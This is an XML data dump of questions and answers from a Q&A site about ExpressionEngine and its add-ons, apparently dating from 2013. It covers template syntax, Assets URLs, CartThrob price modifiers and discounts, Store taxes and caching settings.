  <row Id="8967" PostTypeId="2" ParentId="8958" CreationDate="2013-04-03T22:45:47.910" Score="0" Body="&lt;p&gt;There shouldn't be an issue if you have uploaded the file via the native file browser from upgrading Assets. Try changing your template to the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;th&amp;gt;Order Hash&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th style=&quot;width:14%;&quot;&amp;gt;Order ID&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th style=&quot;width:14%;&quot;&amp;gt;Order Date&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th style=&quot;width:14%;&quot;&amp;gt;Items&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th style=&quot;width:14%;&quot;&amp;gt;Total&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th style=&quot;width:14%;&quot;&amp;gt;Status&amp;lt;/th&amp;gt;&#xA;    &amp;lt;th style=&quot;width:14%;&quot;&amp;gt;Download&amp;lt;/th&amp;gt;&#xA;&#xA;&amp;lt;/tr&amp;gt;&#xA;&#xA;    {exp:store:orders member_id='CURRENT_USER' secure=&quot;yes&quot; order_by='order_date' sort='desc'}&#xA;&#xA;    {if no_orders}&#xA;        &amp;lt;tr class=&quot;product_detail&quot;&amp;gt;&#xA;            &amp;lt;td colspan=&quot;4&quot;&amp;gt;Sorry, no matching orders were found.&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    {/if}&#xA;        &amp;lt;tr class=&quot;product_detail&quot;&amp;gt;&#xA;            &amp;lt;td&amp;gt;{order_hash}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;a class=&quot;onwhite&quot; href=&quot;{path='products/order/{order_hash}'}&quot;&amp;gt;{order_id}&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{order_date format=&quot;%d/%m/%y %H:%m&quot;}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{items}{title}&amp;lt;br /&amp;gt;{/items}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{order_total}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;{order_status}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;      {items}&#xA;                {exp:store:download order_id=&quot;{order_id}&quot; url=&quot;{software}&quot; class=&quot;onwhite&quot;}&#xA;                    Download&#xA;                {/exp:store:download}&#xA;      {/items}&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;&#xA;    {/exp:store:orders}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should allow Store to know which item to generate the downloads for.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-04-03T22:45:47.910" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="8968" PostTypeId="2" ParentId="8907" CreationDate="2013-04-03T22:51:35.810" Score="0" Body="&lt;p&gt;You would need to have a custom extension to handle something like this. You would want to use the &lt;a href=&quot;https://exp-resso.com/docs/store/extension_hooks.html#store_process_product_tax&quot; rel=&quot;nofollow&quot;&gt;store_process_product_tax&lt;/a&gt; hook to check which category (channel or whatever you are using to distinguish product groups) to calculate the required tax amount.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-04-03T22:51:35.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8969" PostTypeId="1" AcceptedAnswerId="8971" CreationDate="2013-04-03T22:52:37.250" Score="4" ViewCount="1295" Body="&lt;p&gt;I'm having trouble getting the full URL to an image using Low Variables and Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the short name of the variable just returns the file name without the rest of the path. &lt;code&gt;{lv_my_image}&lt;/code&gt; renders as &lt;code&gt;image.jpg&lt;/code&gt; not &lt;code&gt;http://site.com/images/image.jpg&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried several ways to do this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{lv_my_image} = image.jpg&#xA;{lv_my_image:url} = {lv_my_image:url}&#xA;&#xA;{exp:low_variables:pair var=&quot;lv_my_image&quot;}&#xA;  {url} = *nothing is returned*&#xA;  {assets:url} = {assets:url}&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-04-03T23:00:54.047" LastActivityDate="2013-04-03T23:00:54.047" Title="How do I get the full Assets URL from Low Variables?" Tags="|assets|low-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8971" PostTypeId="2" ParentId="8969" CreationDate="2013-04-03T23:00:10.827" Score="11" Body="&lt;p&gt;Turns out my problem was the &lt;code&gt;{exp:low_variables:pair}&lt;/code&gt; tag was nested in a &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag. To fix this you have to use the &lt;code&gt;var_prefix=&quot;&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;lv_my_image&quot; var_prefix=&quot;assets&quot;}&#xA;  {assets:url}&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this syntax you can access all of the Assets' tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;lv_my_image&quot; var_prefix=&quot;assets&quot;}&#xA;  &amp;lt;img src=&quot;{assets:url}&quot; width=&quot;{assets:width}&quot; height=&quot;{assets:height}&quot; alt=&quot;{assets:alt_text}&quot;&amp;gt;&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-03T23:00:10.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8972" PostTypeId="1" AcceptedAnswerId="9004" CreationDate="2013-04-03T23:28:51.517" Score="1" ViewCount="278" Body="&lt;p&gt;I've just installed Stash. I've got a couple of questions on how to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested in retrieving the stashed variable and putting it in a variable so I can test it, and take actions depending on the value. How would I do that? (Actually, the retrieved variable is from $_POST, and I've got that retrieval happening, but I can't seem to get it in a variable I can use.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to delete a stashed variable? I couldn't find anything in the docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my test code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Get: {exp:stash:get name=&quot;test1&quot; dynamic=&quot;yes&quot;}&amp;lt;br/&amp;gt;&#xA;Output: {test1}&amp;lt;br/&amp;gt;&#xA;{if test1 == 'yyy'}Yipee!{if:else}Frack!{/if}&amp;lt;br/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="1126" LastActivityDate="2013-04-04T16:14:41.550" Title="Stash Noob Questions" Tags="|stash|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8973" PostTypeId="1" CreationDate="2013-04-04T00:18:30.330" Score="2" ViewCount="185" Body="&lt;p&gt;I have a CartThrob price modifier being output in an EE template and everything displays fine. The problem is that no matter what, the price modifier isn't doing anything to the actual price of an item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the template code for the price modifier:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:item_options entry_id=&quot;{embed:entry_id}&quot;}&#xA;{if dynamic}&#xA;    &amp;lt;div class=&quot;form-item&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;{option_label}&amp;lt;/label&amp;gt;{input}&#xA;    &amp;lt;/div&amp;gt;&#xA;{if:else}&#xA;    {if options_exist}&#xA;        &amp;lt;div class=&quot;form-item&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;{option_label}:&amp;lt;/label&amp;gt;&#xA;        {item_options:select}   &#xA;            &amp;lt;option {selected} value=&quot;{option_value}&quot;&amp;gt; {option_name}{if price} {price}{/if} &amp;lt;/option&amp;gt;&#xA;        {/item_options:select}  &#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;{/if}&#xA;{/exp:cartthrob:item_options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="169" LastActivityDate="2013-04-04T00:18:30.330" Title="CartThrob Price Modifier Not Adding Price" Tags="|cartthrob|price-modifier|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8974" PostTypeId="2" ParentId="8973" CreationDate="2013-04-04T00:18:30.330" Score="3" Body="&lt;p&gt;The issue was that in the setup the client had added a dollar sign to their prices. For some reason, CartThrob changes values with $ into 0 so the price update wasn't taking effect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;tldr; ensure the prices within your Price Modifier field are numbers (float, ints, etc) only.&lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2013-04-04T00:18:30.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8975" PostTypeId="1" CreationDate="2013-04-04T00:22:05.687" Score="2" ViewCount="49" Body="&lt;p&gt;I'm trying to setup a discount in CartThrob so members can get 10% off their order. This works gang busters for those members but, for logged out members, the discount shows up and is applied. Is there a way to have a User Limit Discount &lt;em&gt;not&lt;/em&gt; apply to logged out members?&lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2013-04-04T00:22:05.687" Title="CartThrob Per User Limit Discount and Logged Out Useres" Tags="|cartthrob|discounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8976" PostTypeId="2" ParentId="8975" CreationDate="2013-04-04T00:22:05.687" Score="2" Body="&lt;p&gt;To get around this, you just have to ensure that there is a value of zero (0) in the Redeemed by list. Mine now looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1|4|39|0|6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that 0 above). &lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2013-04-04T00:22:05.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8977" PostTypeId="2" ParentId="7753" CreationDate="2013-04-04T01:43:09.787" Score="0" Body="&lt;p&gt;Sounds like our client is having a similar issue with IE9 and Windows 7. The WYGWAM field disappears when initialising.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used browserstack to try it and it does disappear. I tried compatibly mode too but it didn't fix it. If you delay initialisation you can see the content but as soon as you click in the WYGWAM filed it goes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other work arounds?&lt;/p&gt;&#xA;" OwnerUserId="313" LastActivityDate="2013-04-04T01:43:09.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8978" PostTypeId="2" ParentId="8959" CreationDate="2013-04-04T01:47:01.310" Score="2" Body="&lt;p&gt;Your issue is answered here I believe: &#xA;&lt;a href=&quot;https://stackoverflow.com/a/3066751/135935&quot;&gt;https://stackoverflow.com/a/3066751/135935&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently fixed the same problem by changing my CSS to use the off-left positioning suggested in the answer. Worked perfectly.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Use the off-left technique for hiding inactive tab panels. E.g. in&#xA;  your style sheet replace the rule for the class selector &quot;.ui-tabs&#xA;  .ui-tabs-hide&quot; with&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;.ui-tabs .ui-tabs-hide {&#xA;      position: absolute;&#xA;      left: -10000px; }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-04-04T01:47:01.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8979" PostTypeId="2" ParentId="8950" CreationDate="2013-04-04T02:09:32.390" Score="1" Body="&lt;p&gt;Your question is impossible to answer without have direct access to your install so all I can provide are troubleshooting steps I would take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd start by contacting your web host to see if they are having issues on their servers or have changed anything on the server. A change/issue on their end would explain the sudden sluggishness if nothing in the actual install changed. The error is happening because the script can't execute within the set 90 seconds. You can increase the value in your php setting but I doubt that will fix your sluggishness. The error is a result of the sluggishness, not the cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also take a look at your PHP error logs to see if anything obvious is showing up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to check is the speed of you EE control panel... in the footer you will see the execution time for the page... eg: Script executed in 0.4833 seconds. If the CP is speedy but the front-end is slow, you should start looking at things that affect the front-end only. If the CP is also slow, the cause is most likely not anything related to EE and your web host is the person to call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check the Network tab in your browser's dev tools to see exactly what is slow? Is it the initial GET request? downloading of external JS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does running a tracert show? Any network issues between you and the server?&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-04-04T02:09:32.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8980" PostTypeId="2" ParentId="8918" CreationDate="2013-04-04T02:23:35.983" Score="1" Body="&lt;p&gt;It sounds like your install of the Matrix addon is missing something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you start over by reuploading the theme files into /themes/third_party/matrix and the addon files to /system/expressionengine/third_party/matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your control panel navigate to Addons &gt; Fieldtypes and uninstall then reinstall Matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to backup your database if you are concerned about losing any data.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-04-04T02:23:35.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8981" PostTypeId="1" AcceptedAnswerId="8984" CreationDate="2013-04-04T02:43:28.893" Score="0" ViewCount="93" Body="&lt;p&gt;I'm working my way through customising system notifications - new blog post etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I send my HTML through the &lt;code&gt;tools &amp;gt; communicate&lt;/code&gt; option it comes through looking fine. If I send it as a regular notification via LibraEE is comes through with a bunch of &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; tags all through it. Sometimes 8 &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; in a row. And sometimes it's adding in &lt;code&gt;&amp;lt;td&amp;gt;&amp;lt;br&amp;gt;&amp;lt;/td&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LibrarEE has a preview function and the email looks fine there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest where to go to try and find where to resolve this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LibrarEE 1.0.5&lt;/p&gt;&#xA;" OwnerUserId="313" LastEditorUserId="313" LastEditDate="2013-04-04T02:56:50.017" LastActivityDate="2013-04-04T07:37:10.353" Title="Additional &lt;BR&gt;s When Using LibrarEE For Custom Emails" Tags="|ee2|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8982" PostTypeId="2" ParentId="8907" CreationDate="2013-04-04T03:25:55.310" Score="1" Body="&lt;p&gt;Prices should always be entered ex-tax in the CP, and as Ian mentioned, you can use the &lt;code&gt;_inc_tax&lt;/code&gt; variables to display the correct amount to the customer, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{price_inc_tax}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is also not currently possible to specify different tax rates per product group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, without going into too much detail, both tax-inclusive prices in the CP and different taxes rates per product category will be in the next version of Store. We don't have a planned release date yet though so your best bet is to work with the tax-exclusive pricing for the time being.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-04T03:25:55.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8983" PostTypeId="1" AcceptedAnswerId="8989" CreationDate="2013-04-04T07:27:10.553" Score="0" ViewCount="181" Body="&lt;p&gt;I'm using assets to take care of images &#xA;In the view of assets all thumnails of png and gif's don't show only the jpg's&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pwvAx.png&quot; alt=&quot;Assets printscreen&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to see if it would work with the EE file upload and there it works fine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O01WR.png&quot; alt=&quot;EE image upload&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting I should enable that i have missed or is this a bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: i forgot to say that when viewing the image of png or jpg with their tag in the template then they show correctly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="879" LastActivityDate="2015-08-24T23:11:25.503" Title="Assets not able to create good gif/png thumbnail" Tags="|assets|thumbnails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8984" PostTypeId="2" ParentId="8981" CreationDate="2013-04-04T07:37:10.353" Score="3" Body="&lt;p&gt;To fix this - turn off the setting for :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable parsing of HTML user notification emails &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will fix the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carl&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-04-04T07:37:10.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8985" PostTypeId="2" ParentId="8983" CreationDate="2013-04-04T08:09:33.600" Score="0" Body="&lt;p&gt;It's worth checking that the /system/expressionengine/cache/ directory is writable (777 permissions) and that you have the GD/GD2 library installed. Place a phpinfo.php file in the site root and view it's output to check.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-04T08:09:33.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8986" PostTypeId="1" AcceptedAnswerId="8993" CreationDate="2013-04-04T09:10:06.043" Score="1" ViewCount="922" Body="&lt;p&gt;Is there a config setting for disabling page cache in EE? I've found a setting for disabling tag caching &lt;code&gt;$config['disable_tag_caching']&lt;/code&gt; but not one for pages. I'm using the &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Focus Lab master config&lt;/a&gt; setup and would like to easily turn off page caching in development. I usually use &lt;a href=&quot;http://devot-ee.com/add-ons/ce-cache&quot; rel=&quot;nofollow&quot;&gt;CE Cache&lt;/a&gt; and are missing this option.&lt;/p&gt;&#xA;" OwnerUserId="975" LastActivityDate="2013-04-04T11:34:46.643" Title="Config setting for disabling page cache" Tags="|config|cache|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8988" PostTypeId="1" AcceptedAnswerId="8991" CreationDate="2013-04-04T10:11:25.880" Score="1" ViewCount="105" Body="&lt;p&gt;I'd like to hide a menu item called 'Events and Activties', if there are no entries in that particular channel. I've tried to do this using this code but it's not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;nav-bar&quot;&amp;gt;&#xA;                    &amp;lt;li class=&quot;{if segment_1 !=&quot;&quot;}not-{/if}current&quot;&amp;gt;&amp;lt;a href=&quot;{path=/}&quot; class=&quot;main&quot;&amp;gt;&amp;lt;span&amp;gt;Home&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;{if segment_1 !=&quot;case-studies&quot;}not-{/if}current&quot;&amp;gt;&amp;lt;a href=&quot;{path=case-studies}&quot; class=&quot;main&quot;&amp;gt;People &amp;lt;span&amp;gt;in {lv_siteSector}&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;{if segment_1 !=&quot;job-profiles&quot;}not-{/if}current&quot;&amp;gt;&amp;lt;a href=&quot;{path=job-profiles}&quot; class=&quot;main&quot;&amp;gt;Careers &amp;lt;span&amp;gt;in {lv_siteSector}&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;{if segment_1 !=&quot;ask-an-expert&quot;}not-{/if}current&quot;&amp;gt;&amp;lt;a href=&quot;{path=ask-an-expert}&quot; class=&quot;main&quot;&amp;gt;Ask &amp;lt;span&amp;gt;an expert&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li class=&quot;{if segment_1 !=&quot;jobs-opportunities&quot;}not-{/if}current&quot;&amp;gt;&amp;lt;a href=&quot;{path=jobs-opportunities}&quot; class=&quot;main&quot;&amp;gt;Jobs &amp;amp;amp; &amp;lt;span&amp;gt;opportunities&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {exp:channel:entries channel=&quot;choices_events&quot; site=&quot;default_site&quot; show_future_entries=&quot;yes&quot; show_expired=&quot;no&quot; status=&quot;open&quot;}&#xA;                        {if count == 1}&#xA;                        &amp;lt;li class=&quot;{if segment_1 !=&quot;getting-started&quot;}not-{/if}current&quot;&amp;gt;&amp;lt;a href=&quot;{path=getting-started}&quot; class=&quot;main&quot;&amp;gt;Events &amp;amp;amp; &amp;lt;span&amp;gt;activities&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        {/if}&#xA;                    {/exp:channel:entries}&#xA;                &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be very much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Julie&lt;/p&gt;&#xA;" OwnerUserId="988" LastActivityDate="2013-04-04T10:43:12.480" Title="Hide menu item if no results for a certain channel" Tags="|channel-entries|no-results|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8989" PostTypeId="2" ParentId="8983" CreationDate="2013-04-04T10:24:31.323" Score="2" Body="&lt;p&gt;Can you send an email to support@pixelandtonic.com referencing this question and include one of the images that don't render for you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't reproduce this on my local Assets install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Andris&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-04-04T10:24:31.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8990" PostTypeId="2" ParentId="8986" CreationDate="2013-04-04T10:42:30.663" Score="1" Body="&lt;p&gt;It doesn't look like it. Seems someone else already asked the same thing over on the EL forums. The request makes perfect sense though. &lt;a href=&quot;http://ellislab.com/forums/viewthread/198408/#932976&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/198408/#932976&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-04-04T10:42:30.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8991" PostTypeId="2" ParentId="8988" CreationDate="2013-04-04T10:43:12.480" Score="2" Body="&lt;p&gt;Expression Engine will be trying to determine the parameters for your channel entries tag dynamically from the url so you need to turn this off. You can do that with the &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#dynamic&quot; rel=&quot;nofollow&quot;&gt;parameter&lt;/a&gt;. You probably should just get one entry to save on overhead using &lt;code&gt;limit=&quot;1&quot;&lt;/code&gt;. This will also simplify your code as you won't need to use the count conditional. Adding the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#disable&quot; rel=&quot;nofollow&quot;&gt;disable parameter&lt;/a&gt; will further optimise things by turning off the data you don't need such as categories, member data and custom fields. Try using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;choices_events&quot; site=&quot;default_site&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; show_future_entries=&quot;yes&quot; show_expired=&quot;no&quot; status=&quot;open&quot; disable=&quot;custom_fields|categories|member_data&quot;}&#xA;  &amp;lt;li class=&quot;{if segment_1 !=&quot;getting-started&quot;}not-{/if}current&quot;&amp;gt;&amp;lt;a href=&quot;{path=getting-started}&quot; class=&quot;main&quot;&amp;gt;Events &amp;amp;amp; &amp;lt;span&amp;gt;activities&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;                      &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may need to exclude custom_fields from the disable parameter if you need to use any fields you've defined for the channel.&lt;/p&gt;&#xA;" OwnerUserId="975" LastActivityDate="2013-04-04T10:43:12.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8992" PostTypeId="1" CreationDate="2013-04-04T10:51:22.100" Score="1" ViewCount="233" Body="&lt;p&gt;I am allowing guest checkout through my store as well as checkout by registered members. I have noticed that if I use the create_user parameter in the checkout form the guest gets registered, and the next time he visits and uses the same email he is unable to place an order because the email address already exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I assume I have to remove the create_user parameter, however when I do this the guest visitor is able to checkout using the email address of currently registered members. This means that in the order admin the guests orders are associated with the unknowing registered member.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise this is fairly unlikely to happen, but was wondering if there is a way to stop guests checking out with the email address/username of currently registered members?&lt;/p&gt;&#xA;" OwnerUserId="1038" LastEditorUserId="55" LastEditDate="2013-04-04T13:26:25.540" LastActivityDate="2013-05-04T14:14:15.107" Title="Guest checkout email/username and existing users with CartThrob" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8993" PostTypeId="2" ParentId="8986" CreationDate="2013-04-04T11:34:46.643" Score="1" Body="&lt;p&gt;I worked around this on an EE1 site by setting the cache directory of the dev site to have read-only permissions and it works fine. However, I've not tried this on an EE2 site yet...&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-04-04T11:34:46.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8994" PostTypeId="1" AcceptedAnswerId="9006" CreationDate="2013-04-04T12:40:15.037" Score="2" ViewCount="335" Body="&lt;p&gt;I've browsed through quite a few similar questions, but many of these seem to have gone unanswered. I have some new input that might help.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Situation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm running EE2.5.5, Assets 2.05, and Multiple Site Manager (not sure if version is relevant/where to find it) with 3 custom sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like most similar questions, everything seems to be working fine on the default site (let's call this one &lt;em&gt;Site1&lt;/em&gt;). Every site had their File Upload Directories duplicated from Site1 and are working fine in EE's own File Manager (after syncing every directory).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Assets is not working in any of the site variations. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What's interesting:&lt;/strong&gt; I know why! The &quot;Update Indexes&quot; feature is failing. When I hit &quot;Update Indexes&quot;, an AJAX request is made to the wrong domain. This request SHOULD go to &quot;site1.com/&quot;, instead of &quot;site2.com/&quot;, since the control panel only works from site1 (in my setup). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding the config variable &lt;code&gt;$config['assets_site_url'] = 'http://site1.com/index.php';&lt;/code&gt;, unfortunately to no avail. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;How/where can I configure Assets to help it send the &lt;strong&gt;Update Indexes&lt;/strong&gt; AJAX request to the correct URL?&lt;/p&gt;&#xA;" OwnerUserId="1174" LastActivityDate="2013-04-04T16:35:54.373" Title="Assets + MSM won't display/upload files on custom sites: Update Indexes not working" Tags="|multi-site-manager|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
